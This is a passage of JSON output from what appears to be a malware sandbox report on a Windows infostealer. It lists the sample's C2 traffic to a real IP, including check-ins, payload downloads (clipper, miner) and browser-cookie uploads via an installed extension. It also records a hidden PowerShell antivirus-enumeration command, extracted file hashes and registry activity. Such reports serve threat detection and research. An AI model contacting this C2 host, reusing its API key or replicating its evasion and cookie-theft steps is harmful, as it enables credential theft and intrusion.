0ff8400ac75324c","to_key":"File:d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:993edfd641dabaf1b76adfca87b6e6a63b068db558ba51f1dbd9d6883af55a1d"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":95,"imported_dlls_count":66,"dropped_files_count":0,"extracted_files_count":21,"files_written_count":16,"files_deleted_count":0,"registry_keys_created_count":32,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":32,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":15,"http_requests_count":15},"behavior_tags":["windows-server-utility","infostealer","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a7cdd7d30a295c3fb0d1c8a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Capa_check_for_sandbox_and_av_modules","contacted_countries":["NOR"],"submit_name":"file","analysis_start_time":"2026-08-12T20:54:22+00:00","indicators_count":{"informative":258,"suspicious":72,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"87.120.104.147","port":8080,"protocol":"TCP","country":"Norway","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"dns_resolutions":null,"http_requests":[{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/checkin","method":"POST","response_code":"201","response_phrase":"Created","header":"POST /api/v1/checkin HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\ncontent-type: application/json\ncontent-length: 507\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/d/clip","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /d/clip HTTP/1.1\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/agent/tasks/205792/ack","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/agent/tasks/205792/ack HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\ncontent-type: application/json\ncontent-length: 101\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/clipper/checkin","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/clipper/checkin HTTP/1.1\naccept: application/json\ncontent-type: application/json\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nx-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261\ncontent-length: 157\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/clipper/config","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v1/clipper/config HTTP/1.1\naccept: application/json\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nx-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/clipper/ping","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/clipper/ping HTTP/1.1\naccept: application/json\ncontent-type: application/json\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nx-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261\ncontent-length: 157\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/d/build","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /d/build HTTP/1.1\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/agent/tasks/205793/ack","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/agent/tasks/205793/ack HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\ncontent-type: application/json\ncontent-length: 101\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/d/Miner","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /d/Miner HTTP/1.1\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/agent/tasks/205794/ack","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/agent/tasks/205794/ack HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\ncontent-type: application/json\ncontent-length: 101\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/agent/tasks/205795/ack","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/agent/tasks/205795/ack HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\ncontent-type: application/json\ncontent-length: 101\naccept: */*\nhost: 87.120.104.147:8080","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/ext/extensions","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/ext/extensions HTTP/1.1\nHost: 87.120.104.147:8080\nConnection: keep-alive\nContent-Length: 239\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nContent-Type: application/json\nX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nAccept: */*\nOrigin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/ext/ping","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/ext/ping HTTP/1.1\nHost: 87.120.104.147:8080\nConnection: keep-alive\nContent-Length: 326\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nContent-Type: application/json\nX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nAccept: */*\nOrigin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"host":"87.120.104.147:8080","host_ip":"87.120.104.147:8080","url":"/api/v1/ext/cookies","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/v1/ext/cookies HTTP/1.1\nHost: 87.120.104.147:8080\nConnection: keep-alive\nContent-Length: 5673\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nContent-Type: application/json\nX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\nAccept: */*\nOrigin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmce\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}],"processes":[{"pid":700,"ppid":0,"name":"file.exe","command_line":"","sha256":"6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","normalized_path":"C:\\file.exe","uid":"00000000-00000700","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1420,"ppid":700,"name":"getmac.exe","command_line":"\"getmac\" /fo csv /nh","sha256":"99f6fc9c39499591a321373ab4ea3164a456f8f222d42e112bb51364d79716bf","normalized_path":"%WINDIR%\\system32\\getmac.exe","parent_uid":"00000000-00000700","uid":"00000000-00001420"},{"pid":1552,"ppid":700,"name":"powershell.exe","command_line":"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000700","uid":"00000000-00001552"}],"all_imported_dlls":["ntdll.dll","ucrtbase.dll","gdi32.dll","kernel.appcore.dll","clbcatq.dll","mscoreei.dll","windows.storage.dll","rpcrt4.dll","psapi.dll","mscorlib.ni.dll","ole32.dll","user32.dll","wbemcomn.dll","wbemsvc.dll","System.Core.ni.dll","rsaenh.dll","System.Management.Automation.ni.dll","apphelp.dll","powrprof.dll","imm32.dll","vcruntime140.dll","srvcli.dll","bcrypt.dll","cryptsp.dll","wbemprox.dll","mscoree.dll","oleaut32.dll","msvcp_win.dll","vcruntime140_clr0400.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","msasn1.dll","ws2_32.dll","pdh.dll","cfgmgr32.dll","shlwapi.dll","version.dll","gdi32full.dll","System.ni.dll","netutils.dll","KernelBase.dll","win32u.dll","shell32.dll","SHCore.dll","VxSSL64.dll","advapi32.dll","bcryptprimitives.dll","cryptbase.dll","sspicli.dll","mpr.dll","framedynos.dll","fastprox.dll","sechost.dll","profapi.dll","vcruntime140_1.dll","atl.dll","ucrtbase_clr0400.dll","kernel32.dll","msvcp140.dll","combase.dll","perfos.dll","clr.dll","msvcrt.dll","crypt32.dll","fltLib.dll","uxtheme.dll","wkscli.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"205793_build.exe.part","sha256":"6c825586ea24fb52c4e87ee5ee3be2eda4e6b114a76a4c3d8ab16f58eadd69ba","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"205792_clip.exe.part","sha256":"10e1ada52f2c92883218292c3aeeb29061a4fc2b91972ad6315bb331396a93ab","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"installer.exe","sha256":"6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"205795_build_x64.exe.part","sha256":"8eae625c47b072f1f34afb5033d51a3d17820322f8bae6cbd5fbd83ba2d8c95d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ck_700_1786568180296664000.bin","sha256":"ba8a22ed2a239aeb018637cf8745f9fd115cc01cd112f643cbd4a97dd7f3f2d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"ck_700_1786568186825132500.bin","sha256":"c1778d2910b3783259e5a2f984be6fd868fefbc4b0842e669552a933568367c3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"sysmgnrsv.exe","sha256":"b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"xmrig_1_.exe","sha256":"b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"background.ts-D6ogNSgd.js","sha256":"8af955766de374954dfe3371ba6e916212a945417228811612acc7e02dcec94a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"content.ts-B6XGI__y.js","sha256":"06c52cf8a22691d35691646d559f031c8dcb6b7410ecac03296e8064f0ff6546","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"icon.png","sha256":"bc7d2196729fdf734a19cb57f479256cf545fbe896ee0722712928810425a351","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"128.png","sha256":"14770473282440dc072ab9e40f297a82645f9e07b97641c507d2eab264175b43","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"16.png","sha256":"e6b384718ad9f1e793e4de4400391fc96be67aec9cdeca4a408e8ecec7ee6fcb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"32.png","sha256":"1f1058691b9076053aa4b131963b804dd3055c10e64af69a7241ec819ac9f681","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"48.png","sha256":"1b4ff05bd3e8712dd081ef5ee246ac1697ad9f2be413d749eefe9bf0baf32e8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"manifest.json","sha256":"4b54d8dc7e531f7a05cd6576a4e8c737bb2d9aea7cbf2c0da240d14ccd4069e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"service-worker-loader.js","sha256":"11eda63a2c2164aa2c4088a8493ea60ec85a16d5af60f628b9ae540e40b1b1c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"sysdropfa.exe","sha256":"04168e3872a815ace4f4c59a787ef0d10782df4b2111d46d899b10eade942f80","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"205793_build.exe.log","sha256":"99ed2ed86ded1c9fc51cfd5813c23b041fc83523d79f0de52ab04549b19c2e01","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"MGCjDjrNEZfd","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"x25jZQEidye7","sha256":"993edfd641dabaf1b76adfca87b6e6a63b068db558ba51f1dbd9d6883af55a1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\EXTENSIONS\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\assets\\background.ts-D6ogNSgd.js","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\assets","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\assets\\content.ts-B6XGI__y.js","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icon.png","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icons\\128.png","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icons","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icons\\16.png","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icons\\32.png","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icons\\48.png","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\manifest.json","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\service-worker-loader.js","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\installer-guard","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET CLR Data_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET CLR Networking_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_2bc","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\.NET Data Provider for 